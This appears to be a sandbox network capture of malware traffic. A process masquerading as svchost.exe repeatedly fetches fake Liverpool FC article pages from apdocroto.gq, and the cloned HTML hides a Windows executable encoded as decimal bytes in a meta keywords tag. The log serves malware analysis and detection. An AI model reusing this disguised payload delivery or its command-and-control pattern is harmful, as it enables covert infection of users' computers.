Jun 16, 2021 12:05:52.425019979 CEST	7831	IN	Data Raw: 7b 7d 2c 61 3d 7b 7d 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 72 65 74 75 72 6e 20 76 2e 67 65 74 3d 6d 2c 76 2e 6f 72 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 20 72 28 69 29 7b 69 3d 65 2e 73 68 Data Ascii: {},a={},f={},l={},c,h;return v.get=m,v.order=function(e,t,n){(function r(i){i=e.shift(),e.length?v(i,r):v(i,t,n)})()},v.path=function(e){c=e},v.urlArgs=function(e){h=e},v.ready=function(e,t,n){e=e[i]?e:[e];var r=[];return!d(e,function(e){u[e]\|
Jun 16, 2021 12:05:52.425055981 CEST	7832	IN	Data Raw: 77 5b 6c 5d 2e 70 75 73 68 28 7b 22 67 74 6d 2e 73 74 61 72 74 22 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 22 67 74 6d 2e 6a 73 22 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 Data Ascii: w[l].push({"gtm.start":new Date().getTime(),event:"gtm.js"});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!="dataLayer"?"&l="+l:"";j.async=true;j.src="https://www.googletagmanager.com/gtm.js?id="+i+dl;f.parentNode.insertBe
Jun 16, 2021 12:05:52.425084114 CEST	7832	IN	Data Raw: 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 Data Ascii: port" content="width=device-width, initial-scale=1"><meta name="description" content="Rhian Brewster was hyped up before the start of the season, but was that fair?"><meta name="robots" content="noarchive">
Jun 16, 2021 12:05:53.025351048 CEST	7834	IN	Data Raw: 37 66 66 39 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35 20 30 20 30 20 31 38 34 20 30 Data Ascii: 7ff9<meta name="keywords" content="77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112
Jun 16, 2021 12:05:53.025381088 CEST	7835	IN	Data Raw: 38 20 31 32 33 20 30 20 30 20 31 39 32 20 38 20 39 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 Data Ascii: 8 123 0 0 192 8 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 26 40 13 0 0 6 42 42 254 9 0 0 40 110 0 0 10 42 30 2 40 128 0 0 10 42 38 0 2 40 129 0 0 10 0 42 166 115 130 0 0 10 128 4 0 0 4 115 131 0 0 10 1
Jun 16, 2021 12:05:53.025402069 CEST	7837	IN	Data Raw: 20 32 35 34 20 31 32 20 30 20 30 20 35 37 20 31 34 36 20 31 20 30 20 30 20 30 20 30 20 34 30 20 31 32 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 33 20 30 20 32 35 34 20 31 33 20 33 20 30 20 32 35 34 20 32 32 20 33 32 20 30 20 30 20 31 20 31 31 Data Ascii: 254 12 0 0 57 146 1 0 0 0 0 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 114 246 179 3 112 40 14 0 0 10 254 14 1 0 114 0 180 3 112 40 15 0 0 10 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 40 16 0 0 10
Jun 16, 2021 12:05:53.025423050 CEST	7838	IN	Data Raw: 38 20 31 32 20 30 20 37 39 20 30 20 30 20 30 20 33 20 30 20 30 20 31 37 20 31 34 30 20 32 39 20 30 20 30 20 31 20 30 20 34 30 20 33 34 20 30 20 30 20 31 30 20 31 31 31 20 33 35 20 30 20 30 20 31 30 20 31 31 31 20 33 36 20 30 20 30 20 31 30 20 31 Data Ascii: 8 12 0 79 0 0 0 3 0 0 17 140 29 0 0 1 0 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 253 180 3 112 111 37 0 0 10 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 5 181 3 112 111 37 0 0 10 96 254 14 0 0 56 8 0 0 0 43 6 254 22 49 0 0 1 254 12 0 0 42
Jun 16, 2021 12:05:56.706939936 CEST	9111	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:05:57.059961081 CEST	9112	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:05:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e1f2830000176681b5a000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=nmZ7VO0A7m6p6iLuploVaCg8%2FtWO%2BAwTmj0RvQeMUhNL5J9561ZnZ7SNOw2tGdNII2LX7YUbnQaKa3MUOo5lQsnAL7J%2BRP1YKs4yKxTs622LxH%2F374FUQk0F"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 660338fd9ce31766-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 35 30 66 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 Data Ascii: 150f<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.da
Jun 16, 2021 12:06:11.656105042 CEST	14392	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:06:12.023540974 CEST	14394	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:06:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e22ce800001766cb2c2000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=RBEd%2FCFjeoordtqMIo1%2B89wadS1ViNEVyAFCfyVflNxfyJybK1TRm5anId95DdMbpY11VAnjTXK1i8O7MSMLkR%2BX5Utzb2ciMDv1bqYedGk5S5ZeOvjZkrLJ"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6603395b0a491766-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49170	172.67.158.27	80	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 12:05:57.673259974 CEST	9704	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq Connection: Keep-Alive
Jun 16, 2021 12:05:57.892154932 CEST	10198	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:05:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e1f64c00002c32ef286000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=DlQrOOQ%2FurT0JnHR9JepWBJR%2BoEWxBN7HMJZHMe80UkgmR36F3dDnzcQzAPwtb4KEVwSTL6ZUcDZ3WR5ulDnYfOO2t1e8F4%2Fi5obiSBgJd87ZYeltKYSVcWP"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66033903a8f12c32-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data
Jun 16, 2021 12:05:57.892190933 CEST	10200	IN	Data Raw: 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 22 3e 3c 6c 69 6e Data Ascii: .tm-awx.com"><link rel="dns-prefetch" href="https://www.googletagmanager.com"><link rel="preconnect" href="https://www.googletagmanager.com"><link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="https://
Jun 16, 2021 12:05:57.892205954 CEST	10201	IN	Data Raw: 2f 53 69 67 6e 69 6b 61 4e 65 67 61 74 69 76 65 2d 42 6f 6c 64 2e 34 37 62 33 39 38 65 38 31 63 39 66 32 65 32 65 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 3e Data Ascii: /SignikaNegative-Bold.47b398e81c9f2e2e.woff2" as="font" crossorigin="crossorigin"><link rel="preload" href="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/webfonts/woff2/opensans-bold-webfont.1b0229cc78352a07.woff2" as=
Jun 16, 2021 12:05:57.892221928 CEST	10203	IN	Data Raw: 65 72 76 69 63 65 2f 72 65 61 64 2d 6e 65 78 74 2f 73 63 73 73 2f 72 65 61 64 2d 6e 65 78 74 2e 63 73 73 3f 76 3d 62 37 39 30 35 33 33 65 38 65 35 61 37 30 66 66 61 30 63 32 63 36 63 38 64 31 31 38 63 34 30 37 22 3e 0d 0a 3c 73 63 72 69 70 74 20 Data Ascii: ervice/read-next/scss/read-next.css?v=b790533e8e5a70ffa0c2c6c8d118c407"><script type="text/javascript">/! $script.js JS loader & dependency manager* https://github.com/ded/script.js* (c) Dustin Diaz 2014 \| License MIT*/(function(
Jun 16, 2021 12:05:57.892236948 CEST	10204	IN	Data Raw: 7b 7d 2c 61 3d 7b 7d 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 72 65 74 75 72 6e 20 76 2e 67 65 74 3d 6d 2c 76 2e 6f 72 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 20 72 28 69 29 7b 69 3d 65 2e 73 68 Data Ascii: {},a={},f={},l={},c,h;return v.get=m,v.order=function(e,t,n){(function r(i){i=e.shift(),e.length?v(i,r):v(i,t,n)})()},v.path=function(e){c=e},v.urlArgs=function(e){h=e},v.ready=function(e,t,n){e=e[i]?e:[e];var r=[];return!d(e,function(e){u[e]\|
Jun 16, 2021 12:05:57.892251968 CEST	10205	IN	Data Raw: 77 5b 6c 5d 2e 70 75 73 68 28 7b 22 67 74 6d 2e 73 74 61 72 74 22 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 22 67 74 6d 2e 6a 73 22 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 Data Ascii: w[l].push({"gtm.start":new Date().getTime(),event:"gtm.js"});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!="dataLayer"?"&l="+l:"";j.async=true;j.src="https://www.googletagmanager.com/gtm.js?id="+i+dl;f.parentNode.insertBe
Jun 16, 2021 12:05:57.892263889 CEST	10206	IN	Data Raw: 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 Data Ascii: port" content="width=device-width, initial-scale=1"><meta name="description" content="Rhian Brewster was hyped up before the start of the season, but was that fair?"><meta name="robots" content="noarchive">
Jun 16, 2021 12:05:57.894195080 CEST	10207	IN	Data Raw: 37 66 66 39 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35 20 30 20 30 20 31 38 34 20 30 Data Ascii: 7ff9<meta name="keywords" content="77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112
Jun 16, 2021 12:05:57.894227028 CEST	10208	IN	Data Raw: 38 20 31 32 33 20 30 20 30 20 31 39 32 20 38 20 39 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 Data Ascii: 8 123 0 0 192 8 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 26 40 13 0 0 6 42 42 254 9 0 0 40 110 0 0 10 42 30 2 40 128 0 0 10 42 38 0 2 40 129 0 0 10 0 42 166 115 130 0 0 10 128 4 0 0 4 115 131 0 0 10 1
Jun 16, 2021 12:05:57.894253016 CEST	10210	IN	Data Raw: 20 32 35 34 20 31 32 20 30 20 30 20 35 37 20 31 34 36 20 31 20 30 20 30 20 30 20 30 20 34 30 20 31 32 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 33 20 30 20 32 35 34 20 31 33 20 33 20 30 20 32 35 34 20 32 32 20 33 32 20 30 20 30 20 31 20 31 31 Data Ascii: 254 12 0 0 57 146 1 0 0 0 0 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 114 246 179 3 112 40 14 0 0 10 254 14 1 0 114 0 180 3 112 40 15 0 0 10 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 40 16 0 0 10
Jun 16, 2021 12:05:57.894269943 CEST	10211	IN	Data Raw: 38 20 31 32 20 30 20 37 39 20 30 20 30 20 30 20 33 20 30 20 30 20 31 37 20 31 34 30 20 32 39 20 30 20 30 20 31 20 30 20 34 30 20 33 34 20 30 20 30 20 31 30 20 31 31 31 20 33 35 20 30 20 30 20 31 30 20 31 31 31 20 33 36 20 30 20 30 20 31 30 20 31 Data Ascii: 8 12 0 79 0 0 0 3 0 0 17 140 29 0 0 1 0 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 253 180 3 112 111 37 0 0 10 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 5 181 3 112 111 37 0 0 10 96 254 14 0 0 56 8 0 0 0 43 6 254 22 49 0 0 1 254 12 0 0 42
Jun 16, 2021 12:05:59.930252075 CEST	11685	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:06:00.304318905 CEST	11686	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:06:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e1ff2900002c32afbdc000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=hbPZ7Q80agQdNeOaCgf1En1E0WrLFHbBmJX3LrNPh5o7v%2BTrsiDswvl3C5gpMqQP0QnKp9DDNg8o2qSzC4Xw2nH%2B%2BYre2Pq1yt3M4apBLVd%2Fg037451vQg%2B8"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66033911dab52c32-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 